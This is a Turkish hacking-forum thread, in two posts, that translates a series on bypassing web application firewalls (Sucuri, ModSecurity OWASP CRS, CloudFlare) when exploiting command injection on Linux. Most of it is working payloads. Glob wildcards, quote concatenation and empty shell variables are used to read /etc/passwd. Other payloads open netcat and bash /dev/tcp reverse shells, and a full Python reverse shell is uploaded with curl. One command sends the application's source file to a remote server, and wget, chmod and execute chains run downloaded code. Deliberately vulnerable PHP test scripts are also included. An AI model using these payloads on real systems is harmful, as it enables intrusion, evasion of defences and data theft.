THT DUYURU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

chat
Seçenekler

WAF Atlatma Teknikleri // [R4V3N-VITALLION]

R4V3N - ait Kullanıcı Resmi (Avatar)
Çevirmen
Üyelik tarihi:
07/2016
Nereden:
Cræzy
Yaş:
22
Mesajlar:
6.172
Konular:
350
Teşekkür (Etti):
812
Teşekkür (Aldı):
2338
Ticaret:
(0) %
27-11-2018 18:16
#1
Post
WAF Atlatma Teknikleri // [R4V3N-VITALLION]
passwd dosyanızı "/???/??t /???/??ss??" ile okuyabilirim. Sucuri WAF, ModSecurity, Paranoia Level ve daha fazlası..

Bir web uygulamasında Remote Command Execution (RCE - Uzaktan Komut Çalıştırma) zafiyeti keşfetmek çok da nadir bir şey değil, ve durum "OWASP Top 10 Application Security Risk 2017" raporu tarafından da doğrulanmıştır:

SQL, NoSQL, OS ve LDAP gibi injection hataları; güvenilmeyen veri, komutun veya sorgunun bir parçası olarak yorumlayıcıya gönderildiğinde meydana gelir. Saldırganın bu risk barındıran verileri, yorumlayıcıyı istenmeyen komutları çalıştırmak veya gereken izin olmadan veriye erişmek için kullanır.

Tüm modern WAF'lar (Web Application Firewall [Türkçesi, Web Uygulaması Güvenlik Duvarı]), RCE denemelerini önleyebilmektedirler (hatta engelliyorlar), lakin iş Linux bir sisteminde meydana geldiğinde bir WAF kural setini atlatmanın o kadar yolu oluyor ki inanamazsınız. Pentester’ın en yakın arkadaşının adı "wildcard"dır. WAPT (Web Application Penetration Testing [Türkçesi, Web Uygulaması Penetrasyon Testi]) yapmaya başlamadan önce, sizlere bash ve wildcard'lar hakkında bilemeyeceğiniz birkaç şey göstermek isterim.

Wildcard Hakkında Bilmiyor Olabileceğiniz Şeyler:

Bash standard wildcards (ayrıca globbing patterns olarak da bilinir) birçok dosya ile birlikte çalışmak için komut satırı yardımcı programları tarafından kullanılır. Standard wildcard hakkında daha fazla bilgi için "man 7 glob" komutu ile kılavuz sayfasına bakabilirsiniz. Sadece soru işareti (?), eğik çizgi (/), sayılar ve harfler kullanarak sistem komutlarını yürütebileceğiniz birçok bash komut sözdizimi olduğunu herkes bilmez. Hatta dosyaları aynı sayıda karakter kullanarak sıralayabilir ve içeriklerini alabilirsiniz. Nasıl mı? Bir örnek vereyim:

Uçbirime "ls" komutunu yazmak yerine "/???/?s" komutunu da kullanabilirsiniz.


/???/?s yazarak "ls" help çıktısını yürüttük.

Bu tür komut sözdizimleri ile esasında istediğiniz her şeyi yürütebilirsiniz. Diyelim ki zafiyetli hedefiniz bir WAF arkasında ve bu WAF'un, GET parametresinin değerinde veya POST isteğindeki body kısmında, içerisinde "/etc/passwd" veya "/bin/ls" olan tüm istekleri engelleyen bir kuralı var. Eğer "/?cmd=cat+/etc/passwd" gibi bir istekte bulunmaya çalışırsan hedef WAF'u tarafından isteğiniz engelleniyor bununla kalmayıp IP adresin de sonsuza dek engelleniyor ve "yet another f***in’ redteamer (bir başka lanet redteamer)" olarak etiketleniyorsunuz. Lakin cebinizde wildcard adında gizli bir silahınız var. Eğer şanslıysanız (çok da değil, ileride göreceğiz) hedef WAF'un sorgu dizesi içerisinde soru işareti ve eğik çizgi gibi karakterleri engellemeye yeterli "paranoyakça bir kural dizisi" yoktur. Böylelikle isteğinizi kolayca şu şekilde yapabilirsiniz: "/?cmd=%2f???%2f??t%20%2f???%2fp??s??"


Gördüğünüz üzere wildcard ile /bin/cat /etc/passwd çıktısını bastık.

Yukarıdaki ekran görüntüsünde gördüğünüz üzere, 3 tane hata var: "/bin/cat *: Is a directory". Bunun nedeni "/???/??t"nin "/bin/cat"e ve bundan başka da "/dev/net" veya "/etc/apt" ve benzerlerine globbing process tarafından çevrilmesidir.

Soru işareti wildcard'ı herhangi bir karakter olabilen rastgele bir karakteri temsil eder. Mesela dosya adının bir kısmını bildiğiniz durumda wildcard kullanabilirsiniz. Misal "ls *.???" komutu geçerli dizindeki uzantısı 3 karakter uzunluğunda olan tüm dosyaları listeler. Yani ".gif", ".jpg", ".txt" türü uzantıya sahip olan dosyalar listelenir.

Wildcard ile, netcat kullanarak bir reverse shell bile çalıştırabilirsiniz. Diyelim ki 1337 portunda 127.0.0.1'e bir reverse shell çalıştırmanız lazım (genellikle "nc -e /bin/bash 127.0.0.1 1337" şeklinde çalıştırılır.), bunu şöyle yapabilirsiniz: "/???/n? -e /???/b??h 2130706433 1337"

127.0.0.1 IP adresini "long" formatına (2130706433) dönüştürerek, HTTP isteğinizde nokta kullanımından kaçınabilirsiniz.

Benim Kali'mde, bağlantı sonrası "/bin/bash" yürütülebilsin diye kullandığımız "-e" parametresi olmayan "nc" yerine "nc.traditional"ı kullanmam lazım. Bu durumda payload da şöyle bir şey olur: "/???/?c.??????????? -e /???/b??h 2130706433 1337"


Wildcard kullanarak reverse shell yürütme.

Az önce gördüğümüz iki komutun küçük bir özeti aşağıdadır:

Standart: "/bin/nc 127.0.0.1 1337"
WAF Atlatmak İçin Kullandığımız: "/???/n? 2130706433 1337"
Kullanılan karakterler: "/", "?", "n" ve "[0-9]"

Standart: "/bin/cat /etc/passwd"
WAF Atlatmak İçin Kullandığımız: "/???/??t /???/??ss??"
Kullanılan karakterler: "/", "?", "t" ve "s"

Neden yıldız işareti yerine soru işareti kullanılıyor diye sorabilirsiniz bunun sebebi ise yıldız işaretinin kullanımı yorum sözdizimlerinde (/* bu bir yorum cümlesidir */ gibi) yaygındır ve birçok WAF tarafından SQL Injection önlemek babında engellidir çünkü şuna benzer kullanımları olabiliyor: "UNION+SELECT+1,2,3/*" ki bu kullanımı az da olsa SQL Injection bilen arkadaşlarımız görmüşlerdir.

Peki "echo" kullanarak dosyaları ve dizinleri sıralayabilir miyiz? Evet, sıralayabilirsiniz. "echo" komutu, wildcard kullanarak sistemdeki dosyaları ve dizinleri sıralayabilir. Örneğin: "echo /*/*ss*"


Echo komutu kullanarak dosyaları ve dizinleri sıraladık.

Bu, bir RCE'da, hedef sistemde dosyaları ve dizinleri elde etmek için de kullanılır. Misal:


WAF’a rağmen dosyaları ve dizinleri döktük.

Peki neden wildcard (ve bilhassa soru işaretinin) kullanımı, bir WAF kural setini atlatabilir? Sucuri WAF ile başlayayım!

Sucuri WAF Atlatma


Sucuri WAF'da atlatma tekniği testinden yukarıdaki gibi bir örnek vermiş olalım.

Bir WAF kural setini test etmenin en iyi yolu nedir? Dünyadaki en çok zafiyetli PHP script'ini kurmak ve muhtemel tüm teknikleri denemek. Yukarıdaki ekran görüntümüzde sol üst kısımda, komutları yürüten basit bir web uygulamamız var.

Kod:
<?php
      echo 'ok: ';
      print_r($_GET['c']);
      system($_GET['c']);


Sol alt kısımda, Sucuri WAF (test1.unicresit.it) tarafından korunan siteme yaptığım RCE testini görebilirsiniz. Sucuri benim isteğimi şu sebep notu ile birlikte engelliyor: "An attempted RFI/LFI was detected and blocked (Teşebbüs edilmiş bir RFI/LFI tespit edildi ve engellendi)". Bu neden tamamıyla doğru olmasa da yine de WAF'un saldırımı engellemesi iyi bir şey.

Sağ kısım ise asıl ilgi çekici kısmı çünkü aynı isteği wildcard halinde soru işaretleri kullanarak gönderdiğim kısmı gösteriyor. Sonuç ise sistem yöneticisi için korkutucu. Sucuri WAF tarafından istek kabul ediliyor ve uygulamam, c parametresine koyduğum komutları yürütüyor. Şimdi "/etc/passwd" dosyası ve daha nicelerini okuyabilirim. Uygulamanın kendisinin PHP kaynağını okuyabilir, netcat (veya sevdiğim şekilde /???/?c) kullanarak reverse shell yürütebilir, web sunucusunun gerçek IP adresini ortaya çıkarmak için, direkt olarak hedefe bağlanarak WAF'u bypass etmeme olanak sağlayan, curl veya wget gibi programları yürütebilirim.

Lütfen, bu testi gerçek bir senaryo yansıtmayan, aptalca bir PHP script'i kullanarak yaptığımı unutmayın. Naçizane fikrime göre bir WAF'u kaç tane isteği engellediğine bağlı olarak yargılamayın ve Sucuri de sırf kasten zafiyetli bir siteyi tam anlamıyla koruyamadığı için de değersiz bir WAF değildir lütfen yanlış bir anlaşılma olmasın.

ModSecurity OWASP CRS 3.0

Cidden bu ModSecurity'ye bayılıyorum ve bence Nginx ve the Nginx connector ile kullanılan bu yeni libmodsecurity (v3), WAF'u kullanmak için en iyi yol. Ayrıca OWASP Core Rule Set'in de büyük bir hayranıyım. Her yerde kullanırım lakin eğer bu kural setini iyi bilmezseniz aşk denen şeye dikkat kesilmeniz lazım.. Pardon Paranoia Level’e!

Yeni Başlayanlar İçin Paranoia Level

"https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/e4e0497be4d598cce0e0a8fef20d1f1e5578c8d0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf" linkinde bulabileceğiniz aşağıdaki şema, "REQUEST PROTOCOL ENFORCEMENT" kurallarında her bir seviyenin nasıl çalıştığı ile alakalı güzel bir genel şemadır. PL1 ile görebildiğiniz üzere bir sorgu dizesi sadece 1 - 255 arasında ASCII karakterlerini içerebilir ve çok küçük bir aralıkta ASCII karakteri olmayan her şeyi engelleyen PL4'e doğru daha da kısıtlayıcı olur.

Kod:
# -=[ Targets and ASCII Ranges ]=-
#
# 920270: PL1
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 1-255
# Example: Full ASCII range without null character
#
# 920271: PL2
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 9,10,13,32-126,128-255
# Example: Full visible ASCII range, tab, newline
#
# 920272: PL3
# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY
# ASCII: 32-36,38-126
# Example: Visible lower ASCII range without percent symbol
#
# 920273: PL4
# ARGS, ARGS_NAMES and REQUEST_BODY
# ASCII: 38,44-46,48-58,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : &
#
# 920274: PL4
# REQUEST_HEADERS without User-Agent, Referer, Cookie
# ASCII: 32,34,38,42-59,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE


Şimdi de tüm seviyelerle biraz test yapalım.

Paranoia Level 0 (PL0)

Paranoia Level 0 demek birçok kural WAF’da devre dışı demek. Yani bir problem olmadan payload'ımızın RCE işlevi görmesi normal. Panik etmeyin.

Kod:
SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=0"



PL0'lı ModSecurity tarafından RCE kabul edildi (dediğim gibi paniklik durum yok, kesinlikle normal).

ModSecurity'de Paranoia Level 1 demek "flawless rules of high quality with virtually no false positives (Türkçesi, adeta hiç yalancı pozitif olmayan (özgüllüğü) yüksek kalitede, kusursuz kurallar)" demek lakin aslında o iş fazlasıyla isteğe bağlı. Netnea sitesinde Paranoia Level kurallarının bir listesini bulabilirsiniz: "https://www.netnea.com/cms/core-rule-set-inventory/"

Paranoia Level 1 ve 2 (PL1 - PL2)

1 ve 2 seviyelerini birlikte aldım çünkü (yukarıdaki şemada da görebileceğiniz üzere) farklılıkları hedefimizi etkilemiyor.

Kod:
SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=1"


ModSecurity, PL1 (ve PL2) ile isteğimi "OS File Access Attempt (930120)" sebebi ile engelledi. Ya wildcard olarak soru işareti kullansaydım? Bunu yaptığımda isteğim WAF'um tarafından kabul edildi:


Görüldüğü üzere PL1 ve PL2 ile RCE saldırım engellenmedi ve /etc/passwd'ü okuyabiliyorum.

Bunun gerçekleşme nedeni ise soru işaretinin, eğik çizginin ve boşluk tuşunun; 920271 ve 920272 kurallarında kabul edilebilir karakterler aralığında olmasıdır. Buna ek olarak, komut sözdizimi yerine soru işaretleri kullanmak, yaygın komutları ve işletim sisteminin dosyalarını (örneğimizdeki /etc/passwd gibi) engelleyen "OS Files" filtresinden yakayı kurtarmamı sağladı.

Paranoia Level (PL3)

Paranoyanın bu seviyesinde bir artı var: "?" gibi karakterleri n kereden fazla içeren istekleri engelliyor. Aslında, benim isteğim "****-Character Anomaly Detection Alert - Repetitive Non-Word Characters" sebebinden engellendi. Aferin ModSecurity, iyi iş çıkardın ve bir ayıcık kazandın! 🐻 Lakin maalesef benim web uygulamam o kadar zafiyetli ki daha az soru işareti kullanarak passwd dosyasını her halükarda okuyabilirim. Misal: "c=/?in/cat+/et?/passw?".



Gördüğünüz üzere sadece üç tane soru işareti kullanarak bu Paranoia Level’den kaçındık ve hedef bilgisayarda passwd dosyasını okuduk. Tamam lakin bu demek değil ki, her zaman ve her ne suretle olursa olsun Paranoia Level’i 4'e kurmanız gerek.

Paranoia Level (PL4)

"a-z", "A-Z" ve "0–9" aralığı dışındaki tüm karakterler engelli. Hiçbir yolu yok mu acaba? Elbette var Dosya okumak için bir komut yürütmek istediğinde %90 ihtimalle boşluk tuşu veya eğik çizgiyi kullanacaksın ve mişın kompleyt.

Wildcard kullanarak (daha çok soru işareti ile) nasıl bir WAF kuralını bypass edebileceğimizi anlattım. Lakin WAF kural setini bypass etmenin birçok farklı yolu ve bence her bir saldırının kendine özgü atlatma tekniği var. Örneğin: bir SQL Injection payload'ında yorum sözdizimi kullanmak bir çok filtreyi bypass edebilir. Demek istediğim, "union+select" kullanmak yerine şöyle bir şey yazılabilir: "/?id=1+un/**/ion+sel/**/ect+1,2,3--"

Bu gayet müthiş bir tekniktir ve hedef WAF'unda (yıldız ve tire karakterine izin veren) düşük paranoya seviyesi varken de iyi çalışır. Bu, sadece SQL Injection için çalışmalı ve bir LFI veya RCE exploitleme amacıyla kullanılamaz. Bazı senaryolar için, RCE saldırılarından web uygulamasını koruması gereken WAF'un "a real nightmare (Türkçesi, gerçek bir kabusu)" vardır. Buna, concatenated strings (Türkçesi, birleştirilmiş yazılar) denir.

Birleştirme

Birçok programlama dillerinde zaten string concatenation bir binary infix operatörüdür. Artı (+) operatörü de string birleştirmek için sıklıkla görürüz: misal ["Hello, " + "World"] = ["Hello, World"]. Diğer dillerde de elbette farklı operatörler mevcut. Misal, Perl ve PHP'de nokta (.), Lua'da iki nokta (..).

Kod:
$ php -r 'echo "hello"." world"."\n";'
hello world
$ python -c 'print "hello" + " world"'
hello world


Eğer yazıları birleştirmenin tek yolunun bu olduğunu düşünüyorsanız kesinlikle yanılıyorsunuz bayım. 🧐

Bash'te bulunabilecek, başta C, C++ ve Python olmak üzere birkaç dilde, string literal concatenation denen bir şey var. Herhangi bir operatör olmadan bitişik string'leri direkt birleştirir. ["Hello, " "World"] = ["Hello, World"]. Sadece printf ve echo komutları için değil tüm bash sözdizimleri için geçerlidir. En başından başlayalım.

Aşağıdaki komutların her bir satırı aynı sonucu vermektedir:

Kod:
# echo test
# echo 't'e's't
# echo 'te'st
# echo 'te'st''
# echo 'te'''st''
# python -c 'print "te" "st"'




Bunun olma nedeni tüm bitişik string'ler Bash'te birleştirilmiş kabul edilir. Aslında "'te's't'" 3 string'den meydana gelmiştir: "te" stringi, "s" stringi ve "t" stringi. Bu yazım, "match phrases" tabanlı (örneğin ModSecurity'deki pm operatörü) bir filtreyi (veya WAF kuralını) bypass etmek için kullanılabilir.

ModSecurity'deki "SecRule ARGS "@pm passwd shadow groups"…" kuralı, "passwd" veya "shadow" içeren tüm istekleri engelleyecek lakin ya "pa'ss'wd" ve "sh'ad'ow" olarak denersek? Önceden SQLi'de de gördüğümüz gibi (yorumlarla bir sorguyu bölmek), burada da tek tırnak (') kullanarak dosya isimlerini ve sistem komutlarını bölerek birleştirilmiş string'ler oluşturabilirsiniz. Elbette herhangi bir komut söylemi olarak birleştirilmiş strign'ler kullanabilirsiniz lakin sadece.. Bash size dizini birleştirmenizi sağlar, hatta yürütme için bile.

Aşağıdaki komutların da her bir satırı aynı sonucu vermektedir:

Kod:
$ /bin/cat /etc/passwd
$ /bin/cat /e'tc'/pa'ss'wd
$ /bin/c'at' /e'tc'/pa'ss'wd
$ /b'i'n/c'a't /e't'c/p'a's's'w'd'






Diyelim ki uygulamanızın url parametresinde bir RCE keşfettiniz. "etc, passwd, shadow, vb." tür ibareleri engelleyen bir kuralını varsa aşağıdaki gibi bir şey ile bunu bypass'layabilirsiniz:

Kod:
curl .../?url=;+cat+/e't'c/pa'ss'wd


Biraz test etmenin vakti geldi. Her zamanki gibi Sucuri WAF ve ModSecurity ardında test etmek amaçlı aşağıdaki kodu kullanacağım. Muhtemelen, bu kodu okurken, çok aptalca ve basit olduğunu ve artıkın PHP curl fonksiyonlarını kullanmak yerine kimsenin "system()" fonksiyonunun içinde "curl" kullanmadığını düşüneceksiniz. Eğer cidden bunu düşünürseniz, benimkinden daha iyi bir dünyada yaşıyorsunuzdur! (: Uygulamaların kaynak kodlarının içinde bu tür şeyleri kaç kere okuduğumu bir bilseniz şaşırırdınız. Kullanacağım PHP kodu:

Kod:
<?php
   if ( isset($_GET['zzz']) ) {
      system('curl -v '.$_GET['zzz']);
   }


Sucuri WAF ile Eğlenmece

Sucuri’den birileri en sonunda silecekler benim hesabımı. Ama söz, ModSecurity’mle kıyaslamak için Sucuri WAF’ı kullanacağım. Biri diğerinden üstün olduğundan değil. Sucuri’nin müthiş bir hizmeti var ve ben de Sucuri’yi yaygın kullanıldığından ve bu yazıyı okuyan kullanıcılarının web uygulamalarında bu teknikleri daha iyi test edebilmeleri için örnek olarak kullandım.

İlk olarak, parametrenin değerini şifrelemeden google.com’ın yanıt gövdesini elde etmek amaçlı aşağıdaki PHP uygulamasını kullanacağım.

Kod:
curl -v 'http://test1.unicresit.it/?zzz=google.com'


Beklendiği gibi çalıştı, google.com 302 sayfası bana google.de linkini takip etmem gerektiğini söylüyor (Google doğru bir şekilde Frankfurt’taki sunucumun konumunu belirledi).



Şimdi ise bu korunmasız uygulamayı exploit’leyebilmem için yapabileceğim birçok şey mevcut. Bunlardan biri de curl sözdizimini noktalı virgül ile kırmak ve diğer sistem komutlarını yürütmeyi denemektir. Sucuri, "/etc/passwd" dosyasını okumaya çalıştığım zaman sinirleniyor. Örneğin:

Kod:
curl -v 'http://test1.unicresit.it/?zzz=;+cat+/etc/passwd'


Yukarıdaki kod Sucuri WAF tarafından şu sebeple engellendi: "An attempted RFI/LFI was detected and blocked (Teşebbüs edilmiş bir RFI/LFI tespit edildi ve engellendi)". Bence (sadece bir varsayım, kullanıcılar Sucuri WAF kurallarının detaylarını göremediğinden) Sucuri "RFI/LFI Attempt (Teşebbüsü)" kuralı daha önce gördüğümüz "etc/passwd" gibi dizinlerin ve dosya adlarının olduğu bir liste ile beraber "match phrases" gibi bir şey kullanıyor. Bu WAF’un çok minimalist bir kural seti ve sadece iki tane tek tırnak kullanarak bu kuralı bypass etmemi sağlayan çok düşük bir "paranoia level"ı var.

Kod:
curl -v "http://test1.unicresit.it/?zzz=;+cat+/e'tc/pass'wd"



Sadece iki tane tek tırnak kullanarak Sucuri WAF atlatma.

Biliyorum şimdi şöyle düşünüyorsunuz: “Pekala, WAF’ın tüm kural setlerini bypass’layarak passwd dosyasını okuyabiliyorsun da asıl on puanlık uzman sorusu: Sucuri WAF aktifken ve uygulamanı koruyorken bile bir shell elde edebiliyor musun?”. Cevabı, evet elbette! Tek sorun netcat’i kullanamıyor oluşumuz. Çünkü hedef bilgisayarda kurulu değil ve evet, RCE kullanarak kontrol ettim. (:

Kod:
$ curl -s "http://test1.unicresit.it/?zzz=;+which+ls"
/bin/ls
$ curl -s "http://test1.unicresit.it/?zzz=;+which+nc"


(WAF tarafından engellenmiş olabilen birkaç özel karakter ile) En kolay yol "bash –i" komutunu kullanmaktır:"bash -i >& /dev/tcp/1.1.1.1/1337 0>&1". Lakin maalesef tüm kural setlerini bu payload ile bypass’lamak çok karmaşıktır ve bu demektir ki onu elde etmek için bazı PHP, Perl veya Python kodları kullanmak zor olacaktır. Sucuri WAF benim bu teşebbüsümü şu nedenle engelledi: "Obfuscated attack payload detected (Şaşırtmalı saldırı payload’ı tespit edildi)". Havalı, değil mi?

Direkt olarak korunmasız parametrede yürüterek bir shell elde etmeye çalışmaktansa curl ve wget kullanarak yazılabilir bir dizine Python bir reverse shell upload etmeyi denerim daha iyi. Öncelikle Python kodlarını hazırlayın "vi shell.py":

Kod:
#!/usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my ip address>",2375));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);


Sonra da aşağıda kullandığım gibi hedef siteden shell.py dosyasını indirin.

Kod:
curl -v '.../?zzz=<kendiIPadresim>:2375/shell.py+-o+/tmp/shell.py'



Curl kullanarak shell upload edildi.


Sucuri WAF’u atlatan python reverse shell.
---------------------
You only live once, don't let it go to waste
Telegram
Twitter

Konu PALA tarafından (15-02-2019 20:54 Saat 20:54 ) değiştirilmiştir.
VITALLION - ait Kullanıcı Resmi (Avatar)
Özel Üye
Üyelik tarihi:
04/2013
Yaş:
22
Mesajlar:
11.063
Konular:
1203
Teşekkür (Etti):
4417
Teşekkür (Aldı):
5572
Ticaret:
(0) %
30-11-2018 00:37
#2
WAF Atlatma Teknikleri // VITALLION


Tamam, Sucuri WAF bu isteği engellememiş olabilir fakat genelde ModSecurity bu tarz bir isteği engeller. Eğer tüm "eşleşme ifadeleri" kural setlerini geçtiğinizden emin olmak istiyorsanız, wget + ip-to-long conversion + string concatenation:

Kod:
.../?zzz=wg'e't 168431108 -P tmp
.../?zzz=c'hm'od 777 -R tmp
.../?zzz=/t'm'p/index.html
İlk komut /tmp/ 'deki shell dosyasını indirmek için wget'i kullanır. İkincisi çalışabilir duruma getirmek için chmod'u kullanır ve üçüncüsü ise onu çalıştırır. Görüldüğü üzere wget komutunun isteği üstüne belirli bir dosya yoktur ve bu yüzden indirilen dosya wget ile index.html olarak isimlendirilir. Bu dosyayı netcat nc kullanarak yanıt başlıklarını aşağıdaki şekilde gösterebilirsiniz:


netcat kullanarak RCE'nin HTTP isteğini yanıtlama

Şimdi en zor kısım...

- ModSecurity ve OWASP Core Rule Set'i Bypass'lama

Muhtemelen düşük bir paranoia moduyla OWASP Core Rule Set'i ilk makaledeki gibi tekniklerle atlatabileceğinizi sanıyorsunuz. Temelde yanılıyorsunuz. Bu normalizePath ve cmdLine denilen iki şey yüzünden...
ModSecurity'de "transformasyon fonksiyonu" şeklinde isimlendirilirler ve eşleşmeden hemen önce login verilerini değişmek için kullanılırlar. Login verileri asla değiştirilmez. ModSecurity verilerin bir kopyasını oluşturacak, dönüştürecek ve daha sonra operatörü sonuca karşı işletecektir. Tam anlamıyla bir değiştirme söz konusu değildir.

normalizePath: Birden fazla dizinin referanslarını girdi başlangıçları olduğu zamanları saymadan giriş dizesinden kaldırır.

cmdLine: Marc Stern'in geliştirdiği bu alet tüm pentester hayallerinizi yıkacaktır. Bu fonksiyon parametrelerini normalize ederek LFI, RCE ve Unix komutu vb. kural setlerini tetikler ve farklı dizinler kullanmayı engeller.
Örneğin, /e't'c/pa'ss'wd gibi bir kural setini işlemeden önce /etc/passwd'ye normalleştirir. Bunun yanında çok şey var:

Bütün ters slashleri silme \
Bütün çift tırnakları silme "
Bütün özel karakterleri silme ^
/ İşaretinden önce boşlukları temizleme
( işaretinden önce boşlukları silme
bütün virgül ve noktalı virgülleri silme
Birden fazla alanı (satırsonu, sekme gibi.) tek bir alana değişme
Tüm karakterleri küçük harfe çevirme

RCE'yi istismar etmeye yönelik tüm exploit girişimleri cmdLine dönüştürme işlevi sebebiyle 9322160 kuralı tarafından engellenir:

Kod:
Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:zzz' (Value: ` cat /e't'c/pa'ss'wd' )"
"o5,10v10,20t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase"
"ruleId":"932160"
Pekala ben /etc/passwd okuyamıyorum fakat hemen pes etmeyin! OWASP Core Rule Set, bunları engellemek amacıyla ortak dosya, yol ve komutları bilir fakat bunu hedef sistemin kaynak koduyla birebir zamanlamada gerçekleştiremez.

Bu aşamada devreye sokacağımız hile, bir POST HTTP isteğini uzak sunucuya göndermek. curl parametresini kullanarak bun yapabilir.:

Kod:
curl -d @/<file> <remote server>
İsteğin hemen ardından @=>%40'a kodluyor:

Kod:
curl ".../?zzz=-d+%40/usr/local/.../index.php+1.1.1.1:1337"

uzak bir sunucuya hedef uygulamadan bir php dosyası işleme

Eğer hedef yükün özel karakter içerdiği tespit edilirse paranoia seviye 4 bunu engelleyecektir. İyi haber ise bu seviyede bir sistemin çok nadir olmasıdır.

Aynı teknik "" karakteri ile de çalışır. Bu bir birleştirme değil sadece çıkış dizisidir:


Şimdi ise , WAF ifade tabanlı filtreleri ve desen eşleştirmesini atlamak için Bash değişkeninin nasıl kullanılacağını göreceğiz. CloudFlare WAF ve ModSecurity OWASP CRS3'te nasıl yapılacağını görelim.

- Başlatılmamış Değişken

"WAF Atlatma Teknikleri" nin son iki makalesinde, bir Linux sistemde Uzaktan Komut Yürütmeden yararlanan bir WAF kural setinin bash globbing sömürüsü ile nasıl atlatılacağını inceledik. Bu makalede ise, ifadeye dayalı filtreleri ve desen eşleşmelerini atlatmak için "Hazırlanmamış" bir bash değişkenini kullanarak farklı bir teknik gösteriyoruz.

Kod:
echo "uninitialized_variable=$uninitialized_variable"
Hazırlanmamış (veya başlatılmamış) değişken "null" değerine sahiptir. Yani herhangi bir değeri yoktur.

Kod:
uninitialized_variable=
Bildirmek fakat hazırlamamak (başlatmamak) yukarıdaki gibi bir "null" değerini atamakla aynı şeydir.

Halihazırda varsayılan olarak Bash, Perl'deki gibi başlatılmamış değişkenleri ele alır: boş dizeleri! Problem ise başlatılmamış değişkenler ile komutları çalıştırmak mümkündür ve bunlar belirli argümanlarda kullanılabilir. Ufak bir örnek...



Burada "cat /etc/passwd" komutunu çalıştırmak istediğimizi ele alıyoruz ve bunun için aşağıdaki syntax (sözdizimi) kullanabiliriz:

Kod:
cat$u /etc$u/passwd$u
Burada "$u" bulunmuyor ve bash tarafından boş dize olarak ele alınır:



Temelde bu yöntem bir WAF kuralını atlatmak için kullanılabilir.
Şimdi CloudFlare WAF ve ModSecurity OWASP Core Rule Set 3.1 ile çeşitli testler gerçekleştirelim.

- CloudFlare WAF (Pro Plan)

Önceki iki yazımızda da olduğu gibi, bu bypass yöntemini gerçekten uzak, oldukça savunmasız ve saldırılara açık bir PHP betiğinde test edeceğim ( umuyorum). Bu test, bu tekniğin gerçek bir senaryo gibi ele almanın bir yoludur ve bu testin sonuçları CloudFlare WAF sisteminin diğer servislerden daha güvenli veya daha güvensiz, riskli olduğu anlamına gelmez. Bu test yalnızca kodunuzun hangi düzeye kadar korunabileceğini ve korunma zafiyetlerini düzeltmek veya bu zafiyetlere karşı özel bir kural geliştirmek için neler yapmanız gerektiğini size gösterecektir (Önceki makalelerde bu testler için Sucuri kullanıldı. Şimdi hedefimizi değiştiriyoruz.)

İlk olarak yapacağım şey, bütün CloudFlare WAF kural setlerini ve kurallarını etkin kılmak ve güvenlik seviyesini en yüksek olarak yapılandırmak olacak ( OWASP CRS2'ye dayanıyor.).

- Basit PHP Scripti :



Bu basit PHP scripti, "dig" ile hostname'in atandığı "host" GET parametresinde "/?" ele alarak çalışmaktadır. Örneğin;
Kod:
host=www.google.com
Yanıt ise;


Açıkçası RCE'ye hostname ardından bir noktalı virgül ekleyerek yeni bir zafiyetli komut başlatıyoruz:

Kod:
/?host=www.google.com;ls+/


Peki cat /etc/passwd çalıştırarak /etc/passwd okumaya çalışırsam ne olur? Deneyelim:

Kod:
/?host=www.google.com;cat+/etc/passwd


Engellendim. Bu harika! Pekala şimdi /etc/passwd öğesine şema aracılığıyla başlatılmamış bir değişken atayarak ulaşabilmek için kural setini atlatmayı deneyelim:

Kod:
/?host=www.google.com;cat$u+/etc$u/passwd$u
$u benim boş dizim olacak.


/etc/passwd'ye eriştik.

Ekran görüntüsünde de gördüğünüz üzere, isteğimiz geçti ve /etc/passwd dosyasına eriştik. Havalı değil mi?

CloudFlare uygulamasında netcat kullanımını önlemeye yönelik çeşitli kurallar olduğunu gördük. Bu sebeple, CloudFlare WAF kural setini bypass ederek reverse shell almaya çalıştık. Bu işlemde bütün kuralları CloudFlare Özel İzinler kategirinsde "block" olarak ayarladık.







İlk deneme: -e /bin/bash argümanı ile 1337 portunda netcat çalıştırıyoruz.



CloudFlare WAF netcat reverse shell blokladı

İyi haber: CloudFlare isteğimizi engelledi. Aynı komutu çalıştıracağız fakat nc ve inside /bin/bash ekleyerek:

Kod:
nc$u -e /bin$u/bash$u 1.2.3.4 1337


CloudFlare WAF'ı atlatıp reverse shell aldık

Ve bu kadar!

-ModSecurity OWASP CRS3.1

İşin içine CRS3.1 girdiği zaman bütün bypass teknikleri daha da zorlaşır, ayrıca Paranoia Modu 3'e yükselir.

Paranoia Mod 3'te yapılandırılan CRS3.1'de CF'den farklı şekilde ilk testimizi 932100 kuralında "Unix Command Injection" kuralına göre bloklandığını ele alalım:


RCE, kural 932100 tarafından engellendi

Peki bu kuralı atlatmak için ne yapabiliriz? <command> engellendi fakat payloadı başlatılmamış bir komutla geçirebiliriz. Şöyle bir şey deneyelim:

Kod:
?host=www.google.it;+$u+cat+/etc/passwd

932100 atlatıldı!

Harika! 932100 kuralını atlattık fakat şimdi isteğimiz ana bilgisayarın içindeki etc/passwd dizesi nedeniyle engellendi. Yapabileceğimiz şey etc/passwd dizinin içine başlatılmamış değişkenler eklemek olacak:

Kod:
?host=www.google.it;+$u+cat+/etc$u/passwd$u

Çalıştı! /etc/passwd sızdırıldı!

